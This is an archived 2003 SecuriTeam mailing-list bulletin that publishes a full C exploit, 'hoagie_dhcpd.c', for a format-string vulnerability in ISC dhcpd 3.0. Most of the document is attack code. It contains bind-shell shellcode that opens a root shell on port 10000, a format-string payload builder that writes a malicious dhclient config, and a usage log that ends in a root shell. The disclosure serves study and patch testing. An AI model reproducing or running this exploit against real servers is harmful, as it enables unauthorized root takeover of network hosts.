

# [EXPL] Local and Remote Exploit For ISC DHCPd Format String (Update Log)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0062.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/22/03

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 22 Jan 2003 23:27:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

Local and Remote Exploit For ISC DHCPd Format String (Update Log)

---

## SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/securitynews/5JP0A2A8VU.html>> ISC DHCPD Minires Library Contains Multiple Buffer Overflows, a vulnerability allows a remote attacker to cause the DHCP daemon to execute arbitrary code. The following can be used to test your system for the mentioned vulnerability.

## DETAILS

Exploit:

/\*\*\*\*\*

\* hoagie\_dhcpd.c

\*

\* local and remote exploit for isc dhcpd 3.0 (perhaps others)

\*

\* hi 19c3 guys ;)

\*

\* gcc hoagie\_dhcpd.c -o hoagie\_dhcpd

\*

\* Author: Andi <[andi@void.at](mailto:andi@void.at)>

\*

## Securiteam: [EXPL] Local and Remote Exploit For ISC DHCPd Format String (Update Log)

```
* Greetz to Greuff, philipp and the other hoagie-fellas :-)
*
* For this exploit we use the very very useful dhcp client
* option: hex-coloumn list as fqdn. For this trick we change
* in common/tables.c the parsing option to "X".
*
* # ./hd
* hoagie_dhcpd.c - remote isc dhcpd 3.0 format string exploit
* using return address location: 0xbffdd4c
* return address: 0xbffde38
* dummy vprintf address: 0xbffdd70
* now run: dhclient -d -cf dhcp.conf eth0
* # ./dhclient -d -cf dhcp.conf eth0
* Internet Software Consortium DHCP Client V3.0
* Copyright 1995-2001 Internet Software Consortium.
* All rights reserved.
* For info, please visit http://www.isc.org/products/DHCP
*
* Listening on LPF/eth0/00:02:3f:af:89:fb
* Sending on LPF/eth0/00:02:3f:af:89:fb
* Sending on Socket/fallback
* DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
* DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval ...
* ^C
* # telnet dhcpserverip 10000
* id;
* uid=0(root) gid=0(root) groups=0(root)
*
* after I've written the return address location and used the
* last %n parameter, vprintf still pops values from the stack
* so what happened: the dhcp server tries to write the written
* bytes to something like 0x2578.... which is part of the format
* string. so you have to add another dummy address pair where
* vprintf can write dummy bytes.
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
*****/
#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
    "\x31\xdb" // xor ebx, ebx
    "\xf7\xe3" // mul ebx
    "\xb0\x66" // mov al, 102
    "\x53" // push ebx
    "\x43" // inc ebx
    "\x53" // push ebx
    "\x43" // inc ebx
```

## Securiteam: [EXPL] Local and Remote Exploit For ISC DHCPd Format String (Update Log)

```
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
```

```
char nop[] = "\x90\x90\x90\x90";
```

```
int retloc = 0xbffdd4c; /* use gdb to get it ; ) */
int retaddr = 0xbffde38; /* hmm yes that sounds quite interesting */
int dummyaddr = 0xbffdd70; /* dummy stack pointer for vprintf */
```

## Securiteam: [EXPL] Local and Remote Exploit For ISC DHCPd Format String (Update Log)

```
void help() {
    printf("\t-l\t ... return address location\n");
    printf("\t-r\t ... return address\n");
    printf("\t-d\t ... dummy vfprintf address\n");
    exit(0);
}

int main(int argc, char **argv) {
    char buffer[4096], output[4096], tmp[6], pad[4][20];
    FILE *fp;
    unsigned char rl[4], ra[4], da[4];
    int i, opt;
    unsigned int start, diff, ret;
    extern char *optarg;

    printf("hoagie_dhcpd.c - remote isc dhcpd 3.0 format string
exploit\n");
    if (argc > 1) {
        while ( (opt = getopt(argc, argv, "hl:r:d:")) != EOF) {
            switch(opt) {
                case 'h': help(); break;
                case 'l': sscanf(optarg, "0x%x", &retloc); break;
                case 'r': sscanf(optarg, "0x%x", &retaddr); break;
                case 'd': sscanf(optarg, "0x%x", &dummyaddr); break;
            }
        }
    }
    printf("using return address location: 0x%x\n", retloc);
    printf("return address: 0x%x\n", retaddr);
    printf("dummy vprintf address: 0x%x\n", dummyaddr);

    /* convert return address location */
    rl[0] = (char) (retloc >> 24);
    rl[1] = (char) (retloc >> 16);
    rl[2] = (char) (retloc >> 8);
    rl[3] = (char) retloc;

    /* convert dummy address */
    da[0] = (char) (dummyaddr >> 24);
    da[1] = (char) (dummyaddr >> 16);
    da[2] = (char) (dummyaddr >> 8);
    da[3] = (char) dummyaddr;

    /* calculate paddings */
    ra[3] = (char) (retaddr >> 24);
    ra[2] = (char) (retaddr >> 16);
    ra[1] = (char) (retaddr >> 8);
    ra[0] = (char) retaddr;

    start = 0xd4;
    for (i = 0; i < 4; i++) {
```

## Securiteam: [EXPL] Local and Remote Exploit For ISC DHCPd Format String (Update Log)

```
if (start == ra[i]) {
    strcpy(pad[i], "");
} else {
    if (start > ra[i]) {
        ret = ra[i];
        while (start > ret) ret += 0x100;
        diff = ret - start;
    } else {
diff = ra[i] - start;
    }
    sprintf(pad[i], "%%%du", diff);
    start += diff;
}
}

/* build the special format string */
sprintf(buffer,
    "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c\x70\xdd\xff\xbf"
    "%c%c%c%c\x70\xdd\xff\xbf%c%c%c%c"
    "%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x"
    "%08x%08x%08x%08x%08x%08x%08x%08x"
    "\x90\x90\x90\x90%c%c%c%c"
    "\x90\x90\x90\x90%c%c%c%c"
    "\x90\x90\x90\x90%c%c%c%c"
    "\x90\x90\x90\x90%c%c%c%c"
    "%s%n"
    "%s%n"
    "%s%n"
    "%s%n"
"%s%s",
    rl[3], rl[2], rl[1], rl[0],
    rl[3] + 1, rl[2], rl[1], rl[0],
    rl[3] + 2, rl[2], rl[1], rl[0],
    rl[3] + 3, rl[2], rl[1], rl[0],
    da[3], da[2], da[1], da[0],
    da[3], da[2], da[1], da[0],
    da[3], da[2], da[1], da[0],
    da[3], da[2], da[1], da[0],
    pad[0], pad[1], pad[2], pad[3], nop, shellcode);

/* convert to dhcp.conf syntax
 * hex style input format rules -> change your dhclient source ->
tables.c and change fqdn to type X
 * to add binary values
 */
memset(output, 0, sizeof(output));
for (i = 0; i < strlen(buffer) - 1; i++) {
    sprintf(tmp, "%02x:", (unsigned char)buffer[i]);
    strcat(output, tmp);
}
sprintf(tmp, "%02x", (unsigned char)buffer[i]);
```

Securiteam: [EXPL] Local and Remote Exploit For ISC DHCPd Format String (Update Log)

```
strcat(output, tmp);

/* create dhcp.conf and write options */
fp = fopen("dhcp.conf", "w");
fprintf(fp, "send fqdn.server-update on;\n");
fprintf(fp, "send fqdn.fqdn %s;", output);
fclose(fp);

/* have fun */
printf("now run: dhclient -d -cf dhcp.conf eth0\n");
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:[andi@void.at](mailto:andi@void.at)> Andi.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**  
The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.